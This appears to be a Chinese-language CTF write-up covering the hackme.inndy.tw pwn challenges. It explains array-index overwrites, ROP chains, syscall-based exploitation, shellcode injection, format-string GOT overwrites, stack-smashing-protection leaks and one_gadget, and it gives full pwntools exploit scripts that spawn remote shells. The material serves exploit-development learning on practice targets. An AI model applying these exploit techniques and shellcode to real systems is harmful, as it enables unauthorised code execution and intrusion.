catflag 直接nc过去就是shell
homework 题目提示是数组越界,之前没有接触过这一方面的知识,所以就借这道题目学习一下,认真的做个笔记~
前置知识 我们声明一个数组int a[10],他在内存中是这样子的。
定义了大小为10的int型数组,如果函数没有检查下标,是不是可以访问内存中其它的值呢?我写一个简单的程序去验证一下~
1 2 3 4 5 6 7 8 9 10 11 12 13 14 #include <stdio.h> int main (void ) { int i,a[10 ]; int index; for (i=0 ;i<=9 ;i++) a[i]=i; while (1 ){ printf ("%s\n" , "please enter index" ); scanf ("%d" ,&index); printf ("a[%d] is %d\n" , index,a[index]); } return 0 ; }
gcc编译运行,可以看到结果和我们设想的一样,如果没有限制数组的下标的话就能读取其它内存的数据,会以10进制的格式输出。
Idea 有了上面的铺垫,这道题就很好解决了,首先拖到ida里分析一下逻辑。在case1中我们可以控制指定数组索引的内容并且数组索引可控。
在程序中还找到了/bin/sh,所以直接做ret2text,修改eip为system(‘/bin/sh’)的地址,程序ret时返回一个shell。
计算修改索引的位置
arr距离ebp有0x34,ebp占4个字节,ret addr占4个字节
0x34+0x4+0x4 / 0x4 == 15
gdb调试 我们选择索引为14的位置,并且写入A,这里因为程序只能以%d的格式输入,所以第一次输入A的时候发现程序一直走不到ret。。这里输入的时候以ascii码65来代替。
Exploit 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 from pwn import *target = remote('hackme.inndy.tw' ,7701 ) target.recvuntil('your name' ) target.sendline('carl' ) target.recvuntil('>' ) target.sendline('1' ) addr_sys = 0x08048604 target.recvuntil('Index to edit:' ) target.sendline('14' ) target.recvuntil('How many?' ) target.sendline(str(addr_sys)) target.recvuntil('>' ) target.sendline('0' ) gdb.attach(target,'b *0x0804888a' ) target.interactive()
rop 1 2 3 4 5 6 int overflow () { char v1; return gets(&v1); }
逻辑很简单,保护方面只有nx,ret2shellcode不行了,很明显要做rop,先看看有没现成的gadget。
1 ROPgadget --binary ./rop --ropchain
有现成的gadget可以组成ropchain,那问题就变得简单。溢出到ropchain就可以了。
exploit 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 from pwn import *from struct import packtarget = remote('hackme.inndy.tw' ,7704 ) p = '' p += pack('<I' , 0x0806ecda ) p += pack('<I' , 0x080ea060 ) p += pack('<I' , 0x080b8016 ) p += '/bin' p += pack('<I' , 0x0805466b ) p += pack('<I' , 0x0806ecda ) p += pack('<I' , 0x080ea064 ) p += pack('<I' , 0x080b8016 ) p += '//sh' p += pack('<I' , 0x0805466b ) p += pack('<I' , 0x0806ecda ) p += pack('<I' , 0x080ea068 ) p += pack('<I' , 0x080492d3 ) p += pack('<I' , 0x0805466b ) p += pack('<I' , 0x080481c9 ) p += pack('<I' , 0x080ea060 ) p += pack('<I' , 0x080de769 ) p += pack('<I' , 0x080ea068 ) p += pack('<I' , 0x0806ecda ) p += pack('<I' , 0x080ea068 ) p += pack('<I' , 0x080492d3 ) p += pack('<I' , 0x0807a66f ) p += pack('<I' , 0x0807a66f ) p += pack('<I' , 0x0807a66f ) p += pack('<I' , 0x0807a66f ) p += pack('<I' , 0x0807a66f ) p += pack('<I' , 0x0807a66f ) p += pack('<I' , 0x0807a66f ) p += pack('<I' , 0x0807a66f ) p += pack('<I' , 0x0807a66f ) p += pack('<I' , 0x0807a66f ) p += pack('<I' , 0x0807a66f ) p += pack('<I' , 0x0806c943 ) padding = 'a' * 16 payload = '' payload += padding payload += p target.sendline(payload) target.interactive()
rop2 这道题很有意思,总共花费了2天时间。get到不少新知识,让我重新对栈有了更加深刻的认识 主要是菜。m4x师傅的思路给了我很大的帮助。
首先看一下程序的逻辑,和上一题一样,漏洞函数很明显的命名为overflow。于之前不同的是,这里用system call来调用的函数。
1 2 3 4 5 6 7 int overflow () { char v1; syscall(3 , 0 , &v1, 1024 ); return syscall(4 , 1 , &v1, 1024 ); }
一些基本知识 system call
_syscall0( ret-type, func-name ) _syscall1( ret-type, func-name, arg1-type, arg1-name ) _syscall2( ret-type, func-name, arg1-type, arg1-name, arg2-type, arg2-name )
_syscall宏最多可定义 6 个参数,这里就举出3个。比如说函数中的这句话 syscall(3, 0, &v1, 1024);意思就是read(0,&v1,1024);linux有个系统调用表,linux-x86系统调用表 。可以通过这张表知道系统调用了什么函数。
堆栈平衡 为什么要堆栈平衡?因为当程序流程进入函数时,要保存现场,就是当前的寄存器状态,当子程序执行完成过后,在恢复现场,继续执行调用函数后的流程。
X86在调用函数的时候传递在参数是从栈中取出的,需要哪些参数提前按一定顺序入栈即可。第一个出栈的就对应第一个参数,依次类推。函数返回值存在eax中。
idea 通过溢出来劫持eip,劫持后通过syscall构造一个read,把/bin/sh写到bss段,在利用syscall获取一个shell。很简单是吧,但是里面有很多坑需要踩。
首先第一次构造read执行完成后发现自己的gadget不能正常返回。百思不解,最后发现系统中编译好的程序在执行完read或者write后,都有一个add esp,0x10这个操作。
事出有妖必有蹊跷,掏出鸡得必看看咋回事。在调试的过程中,发现了如果没有add esp,0x10 栈就没有办法恢复成之前的样子。因为在ret后,所有的程式都是我们自己构造的,不是程式自己的逻辑。所以堆栈需要我们自己维护。
在我们的payload中,第一次system call后,参数还在栈中。这个system call执行的时候是4个参数所以push了4次,所以我们要找到等价的add esp,0x10,为了我们payload中第二次执行system call找到的参数正确。而这个gadget怎么找呢?
1 ROPgadget --binary ./rop2 --only 'pop|ret'
这样就找到了pop4ret的gadget了。
exploit 1 2 3 4 5 6 7 8 9 10 11 12 13 14 from pwn import *context(log_level = "debug" , terminal = ["deepin-terminal" , "-x" , "sh" , "-c" ]) target = remote('hackme.inndy.tw' ,7703 ) elf = ELF('./rop2' ) addr_bss = elf.bss() addr_sys = elf.symbols['syscall' ] addr_gadget = 0x08048578 payload = '' payload = fit({0xc + 0x4 :[p32(addr_sys),p32(addr_gadget),p32(3 ),p32(0 ),p32(addr_bss),p32(30 )]}) payload += fit({0x0 :[p32(addr_sys),p32(0xdeadbeef ),p32(11 ),p32(addr_bss),p32(0 ),p32(0 )]}) target.sendlineafter('your ropchain:' ,payload) target.send('/bin/sh\x00' ) target.interactive()
toooomuch 利用二分法猜几个数字就可以拿到flag
toooomuch-2 这道题什么保护都没有开,所以玩法就多了。有两种解法:一种是把shellcode写到bss段上然后返回到bss段执行,另一种是直接把system执行用到的参数写到bss段,因为程序里面有system函数,可以溢出到system函数的地址,然后布置参数。
程序关键代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 int toooomuch () { int result; char s; printf ("Give me your passcode: " ); gets(&s); strcpy (passcode, &s); if ( check_passcode() ) result = play_a_game(); else result = puts ("You are not allowed here!" ); return result; }
解法一 1 2 3 4 5 6 7 8 9 10 11 from pwn import *context(log_level = "debug" , terminal = ["deepin-terminal" , "-x" , "sh" , "-c" ]) target = remote('hackme.inndy.tw' , 7702 ) elf = ELF('./toooomuch' ) shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73" shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0" shellcode += "\x0b\xcd\x80" payload = fit({0x1c :[p32(elf.plt['gets' ]),p32(elf.bss()),p32(elf.bss())]}) target.sendlineafter('your passcode: ' ,payload) target.sendline(shellcode) target.interactive()
解法二 1 2 3 4 5 6 7 8 9 10 from pwn import *context(log_level = "debug" , terminal = ["deepin-terminal" , "-x" , "sh" , "-c" ]) target = remote('hackme.inndy.tw' , 7702 ) elf = ELF('./toooomuch' ) payload = '/bin/sh\x00' + 'a' * 20 + p32(elf.symbols['system' ]) payload += p32(0xdeadbeef ) payload += p32(elf.symbols['passcode' ]) target.sendlineafter('your passcode: ' ,payload) target.interactive()
在/bin/sh后加\x00 ,是为了截断输入。否则system会把后面的输入当成是/bin/sh的参数,还可以使用&& 来作截断符。
system函数的调用方法是:调用地址 + 返回地址 + 参数地址,按照这个顺序布置就好了。
echo 很基础的格式化字符串漏洞,测试发现偏移在7的位置,直接用pwntools的fmt工具打一波就好了。把printf的got表覆盖为system的plt,然后再第二次输入的时候把参数写到栈里就行了。
1 2 3 4 5 6 7 8 9 10 11 12 from pwn import *context(log_level = "debug" , terminal = ["deepin-terminal" , "-x" , "sh" , "-c" ]) target = remote('hackme.inndy.tw' , 7711 ) elf = ELF('./echo' ) plt_sys = elf.symbols['system' ] got_printf = elf.got['printf' ] payload = fmtstr_payload(7 ,{got_printf:plt_sys}) target.sendline(payload) target.recvuntil('\n' ) target.sendline('/bin/sh\x00' ) target.interactive()
手工脚本如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 from pwn import *context(log_level = "debug" , terminal = ["deepin-terminal" , "-x" , "sh" , "-c" ]) target = remote('hackme.inndy.tw' , 7711 ) elf = ELF('./echo' ) plt_sys = elf.symbols['system' ] got_printf = elf.got['printf' ] print hex(plt_sys) print hex(got_printf) payload = p32(got_printf) payload += p32(got_printf + 1 ) payload += p32(got_printf + 2 ) payload += p32(got_printf + 3 ) payload += '%' payload += str(0x100 - 0x10 ) payload += 'c%7$hhn' payload += '%' payload += str(0x84 ) payload += 'c%8$hhn' payload += '%' payload += str(0x104 - 0x84 ) payload += 'c%9$hhn' payload += '%' payload += str(0x108 - 0x104 ) payload += 'c%10$hhn' target.sendline(payload) target.recvuntil('\n' ) target.sendline('/bin/sh\x00' ) target.interactive()
smashthestack 之前网鼎杯玩过一个x64的ssp,这边有个x32的,对比一下还是比64位的简单一些。总体思路是一样,都是通过栈溢出到__libc_argv[0] 这个位置然后把我们想要输出的东西输出。这次flag直接在bss段的,所以不用泄漏什么地址,计算好偏移直接打就可以了。
1 2 3 4 5 6 7 8 9 from pwn import *context(log_level = "debug" , terminal = ["deepin-terminal" , "-x" , "sh" , "-c" ]) target = remote('hackme.inndy.tw' , 7717 ) payload = 'a' * 188 + p32(0x0804A060 ) target.sendlineafter('Try to read the flag\n' ,payload) target.interactive()
echo2 这道题也蛮有意思的,get到不少新东西 主要是菜呀 xd。然后重新学习了一下fmt的手工生成payload方法,过后会重新写一篇关于学习过程的文章。
1 2 3 4 5 6 7 ~/Desktop checksec echo2 [*] '/Users/carlstar/Desktop/echo2' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 void __noreturn echo () { char s; unsigned __int64 v1; v1 = __readfsqword(0x28 u); do { fgets(&s, 256 , stdin ); printf (&s, 256L L); } while ( strcmp (&s, "exit\n" ) ); system("echo Goodbye" ); exit (0 ); }
先来说说坑在哪里吧:拖到ida里发现和echo的逻辑差不多,都是格式化字符串的洞。
1、64位的程序意味着pwntools生成的fmt payload不能使用了,因为自动生成的payload覆盖地址是放在前面的,如果地址中有\x00 的话会被当成printf时候的截断符,这样我们就无法通过printf时往内存写入数据了
2、程序开启了pie,这意味着我们在本地获取到的got表只是偏移,想要获取到真正的got表必须泄漏出elf的基址
我们先来看一下 在echo中自动生成的payload长什么样,解决坑点一的话我们可以手工来写fmt payload。
把程序本地跑起来调试一下,在printf时下一个断点,看看栈里面有什么可以利用的信息。可以通过泄漏__libc_start_main+240 和 main+74 这两个函数来分别获取 libc_base 和 elf_base 因为我们输入的参数的偏移在6处,所以这两个函数的偏移分别是41和43。
有了信息泄漏,我们就可以确定服务器libc所用的版本,泄漏exit的got,然后通过one_gadget来覆写exit的got表获得一个shell。
Libc_base = __libc_start_main - 0xf0 - 0x20740
Elf_base = main+74 - 0xa03
exit_got = elf_base + elf.got[‘exit’]
0xf0是240的16进制,这个偏移在调试中可以看到,因为题目给了libc,所以我们直接把libc中的libc_start_main这个函数的偏移本地加载出来,然后就可以算出libc的基址了。
elf的基址可以通过vmmap来对比看出偏移是0xa03。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 pwndbg> vmmap LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA 0x555555554000 0x555555555000 r-xp 1000 0 /home/carlstar/Desktop/echo2 0x555555754000 0x555555755000 r--p 1000 0 /home/carlstar/Desktop/echo2 0x555555755000 0x555555756000 rw-p 1000 1000 /home/carlstar/Desktop/echo2 0x7ffff7a0d000 0x7ffff7bcd000 r-xp 1c0000 0 /lib/x86_64-linux-gnu/libc-2.23.so 0x7ffff7bcd000 0x7ffff7dcd000 ---p 200000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so 0x7ffff7dcd000 0x7ffff7dd1000 r--p 4000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so 0x7ffff7dd1000 0x7ffff7dd3000 rw-p 2000 1c4000 /lib/x86_64-linux-gnu/libc-2.23.so 0x7ffff7dd3000 0x7ffff7dd7000 rw-p 4000 0 0x7ffff7dd7000 0x7ffff7dfd000 r-xp 26000 0 /lib/x86_64-linux-gnu/ld-2.23.so 0x7ffff7fdb000 0x7ffff7fde000 rw-p 3000 0 0x7ffff7ff7000 0x7ffff7ffa000 r--p 3000 0 [vvar] 0x7ffff7ffa000 0x7ffff7ffc000 r-xp 2000 0 [vdso] 0x7ffff7ffc000 0x7ffff7ffd000 r--p 1000 25000 /lib/x86_64-linux-gnu/ld-2.23.so 0x7ffff7ffd000 0x7ffff7ffe000 rw-p 1000 26000 /lib/x86_64-linux-gnu/ld-2.23.so 0x7ffff7ffe000 0x7ffff7fff000 rw-p 1000 0 0x7ffffffde000 0x7ffffffff000 rw-p 21000 0 [stack] 0xffffffffff600000 0xffffffffff601000 r-xp 1000 0 [vsyscall]
然后就是找一下one_gadget了,推荐一款找one_gadget的工具one_gadget 。
大概介绍一下怎么使用,知道libc的版本后可以使用它来查看libc中可以执行 execve(“/bin/sh”) 的偏移。就是libc的基址加上这个偏移就可以获得一个shell。但是也有限制条件,就是constraints中的条件必须满足。在远程调试中发现0xf0897这个偏移可以使用。
再说一下生成fmt payload一些需要注意的地方。不能直接 % + str(one_gadget) + c%k$n 这样子写入,本地可能还可以,远程的话一次写入这么大的数据极大可能因为网络问题写入失败。所以我们可以使用hhn来一字节的写入,用6次来写完,这样的话就大大减少了写入的字节数。由于我们把覆盖的地址放到了payload后面,所以偏移就不是6了,相应的改为8,每轮的payload必须是所覆盖地址的整数倍。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 from pwn import *def leak_addr (target,arg) : payload = arg target.sendline(payload) res = target.recvuntil('\n' ) return int(res,16 ) def fmt (target,got,magic) : for i in range(6 ): payload = "%{}c%8$hhn" .format(magic&0xff ).ljust(16 ,'6' ) payload += p64(got + i) target.sendline(payload) magic = magic >> 8 def main () : target = remote('hackme.inndy.tw' , 7712 ) addr_elf = leak_addr(target,'%41$p' ) - 0xa03 addr_libc = leak_addr(target,'%43$p' ) - 0xf0 - 0x20740 elf = ELF('./echo2' ) offset_exit_got = elf.got['exit' ] exit_got = offset_exit_got + addr_elf one_gadget = 0xf0897 addr_one_gadget = addr_libc + one_gadget fmt(target,exit_got,addr_one_gadget) log.success('address_elf: ' + hex(addr_elf)) log.success('address_libc: ' + hex(addr_libc)) log.success('exit_got: ' + hex(exit_got)) log.info('---sending exit to getshell---' ) target.sendline('exit' ) target.interactive() if __name__ == '__main__' : main()